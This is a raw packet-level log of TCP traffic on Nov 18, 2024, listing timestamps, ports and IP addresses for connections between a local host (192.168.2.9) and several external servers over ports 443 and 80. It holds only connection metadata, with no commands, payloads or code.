Nov 18, 2024 15:16:56.838181019 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.838196993 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.838598013 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.838643074 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.838723898 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.838988066 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.839004040 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.874566078 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.874613047 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.874665976 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.875650883 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:56.875669003 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:56.950212002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:56.950269938 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:57.114310980 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:57.114350080 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:57.114433050 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:57.114779949 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:57.114793062 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:57.278938055 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.279673100 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.279685020 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.281003952 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.281620026 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.301645041 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.302009106 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.302026033 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.302440882 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.302457094 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.302496910 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.302505016 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.302525997 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.302545071 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.303236008 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.317828894 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.318011999 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.318355083 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.318449974 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.318769932 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.318779945 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.400260925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:57.402147055 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.402162075 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.402192116 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.405273914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:57.426326990 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:57.426372051 CET	443	49775	13.107.246.45	192.168.2.9
Nov 18, 2024 15:16:57.426706076 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:57.426877022 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:57.426894903 CET	443	49775	13.107.246.45	192.168.2.9
Nov 18, 2024 15:16:57.449557066 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.449892998 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.449911118 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.451126099 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.451190948 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.452260971 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.452359915 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.452426910 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.453486919 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.453737974 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.453751087 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.455621958 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.455774069 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.456640959 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.456763029 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.457062006 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.457079887 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.480396032 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.480643034 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.480654001 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.481688976 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.481748104 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.482858896 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.482923985 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.483236074 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.483242035 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.499336004 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.511320114 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.511320114 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.511336088 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.511349916 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.573540926 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.573586941 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.573786974 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.573807001 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.577344894 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.577409983 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.577419996 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.583386898 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.583434105 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.583794117 CET	49771	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.583810091 CET	443	49771	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.587395906 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.587461948 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.587479115 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.587543964 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.587611914 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.587728977 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.587965012 CET	49772	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.587981939 CET	443	49772	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.596895933 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.596954107 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.596982956 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.610917091 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.610976934 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.611186028 CET	49773	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.611211061 CET	443	49773	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.639193058 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:57.639307022 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.639409065 CET	443	49762	18.244.18.27	192.168.2.9
Nov 18, 2024 15:16:57.639451027 CET	49762	443	192.168.2.9	18.244.18.27
Nov 18, 2024 15:16:57.683340073 CET	443	49775	13.107.246.45	192.168.2.9
Nov 18, 2024 15:16:57.687057018 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.687076092 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.691370010 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.691454887 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.691472054 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.694724083 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.694907904 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.694917917 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.704410076 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.704443932 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.704463959 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.704477072 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.704525948 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.713709116 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.764178991 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.764271021 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.764286995 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.809865952 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.809916019 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.809926987 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.812494993 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.812542915 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.812551022 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.820744038 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.820827961 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.820842981 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.821491003 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.821536064 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.821543932 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.830976963 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.831039906 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.831057072 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.886337042 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.886403084 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.886435032 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.927453041 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.927515030 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.927537918 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.928575993 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.928621054 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.928628922 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.939578056 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.939610958 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.939631939 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.939641953 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.939677954 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.943474054 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.943511009 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.943717003 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.943768024 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.943805933 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.943896055 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.943972111 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.943993092 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.944273949 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:57.944288969 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:57.948050022 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.997776031 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.997837067 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.997859955 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:57.997876883 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:57.997924089 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.042660952 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.045614004 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.045650959 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.045720100 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.045753002 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.045763969 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.045773983 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.055419922 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.055466890 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.055476904 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.065102100 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.065155983 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.065170050 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.065201998 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.065248013 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.065254927 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.115636110 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.115684032 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.115694046 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.158922911 CET	443	49775	13.107.246.45	192.168.2.9
Nov 18, 2024 15:16:58.159060001 CET	443	49775	13.107.246.45	192.168.2.9
Nov 18, 2024 15:16:58.159063101 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:58.159102917 CET	49775	443	192.168.2.9	13.107.246.45
Nov 18, 2024 15:16:58.162919044 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.162964106 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.162997961 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.162997961 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.163011074 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.163039923 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.171489000 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.171590090 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.171972990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:58.172039032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:58.172569036 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.172624111 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.172635078 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.182048082 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.182080984 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.182097912 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.182107925 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.182163954 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.182393074 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.182405949 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.182708979 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.185265064 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.185343981 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.185359955 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.234908104 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.277688026 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.277724028 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.277749062 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.277755976 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.277792931 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.277842045 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.278858900 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.278908968 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.279733896 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.288836002 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.288970947 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.288983107 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.299685001 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.299741030 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.299751997 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.299812078 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.299915075 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.299921989 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.335896015 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.335930109 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.336112022 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.336127043 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.336169958 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.336373091 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.336622953 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.336632967 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.336843014 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.336858988 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.340883970 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.340903997 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.350018024 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.350074053 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.350085020 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.381371021 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.381407022 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:58.381535053 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.381558895 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.381568909 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:58.381634951 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.381901979 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.381913900 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:58.382133961 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:58.382152081 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:58.395577908 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.395634890 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.395644903 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.396725893 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.396771908 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.396780968 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.405891895 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.405968904 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.405977964 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.416574955 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.416604042 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.416625977 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.416634083 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.416692019 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.416699886 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.469458103 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.469491959 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.469521046 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.469533920 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.469700098 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.507555962 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.509701967 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.509737015 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.509773970 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.509798050 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.509808064 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.509835005 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.511827946 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.511874914 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.511888981 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.513266087 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.513369083 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.513535023 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.513596058 CET	443	49774	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.513639927 CET	49774	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.514205933 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.514339924 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.514348030 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.524167061 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.524183989 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.524228096 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.524238110 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.524379015 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.524425030 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.524615049 CET	49753	443	192.168.2.9	142.250.185.161
Nov 18, 2024 15:16:58.524629116 CET	443	49753	142.250.185.161	192.168.2.9
Nov 18, 2024 15:16:58.549791098 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.550389051 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.550405025 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.550760984 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.552795887 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.552874088 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.553549051 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.553785086 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.553796053 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.554161072 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.554524899 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.554591894 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.675043106 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.675647974 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.719871044 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:58.719919920 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:58.720192909 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:58.720531940 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:58.720546007 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:58.792655945 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.792684078 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.792747021 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.793282986 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:58.793292999 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:58.864422083 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:58.869446993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:58.949122906 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.953345060 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.953356028 CET	443	49778	162.159.61.3	192.168.2.9
